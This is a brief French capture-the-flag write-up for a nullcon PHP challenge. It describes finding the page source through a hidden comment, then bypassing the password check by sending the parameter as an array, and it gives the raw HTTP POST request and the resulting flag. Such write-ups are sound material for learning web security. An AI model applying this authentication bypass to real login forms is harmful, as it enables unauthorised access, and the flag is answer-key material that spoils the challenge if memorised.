Lets do some PHP
[[http://nullcon-e1.no-ip.org/exp3/boo.php]]
À la fin de la page de présentation, un commentaire c'est glissé avec un lien vers la source de cette page.
[[http://nullcon-e1.no-ip.org/exp3/boo.html]]
La solution est simple, tourner la variable $pass en un tableau.
POST /exp3/boo.php HTTP/1.1
Host: nullcon-e1.no-ip.org
Connection: close
Content-Length: 19
password%5B%5D=TAPZ
Flag: 58961e6ab08f06d61c097c482806d288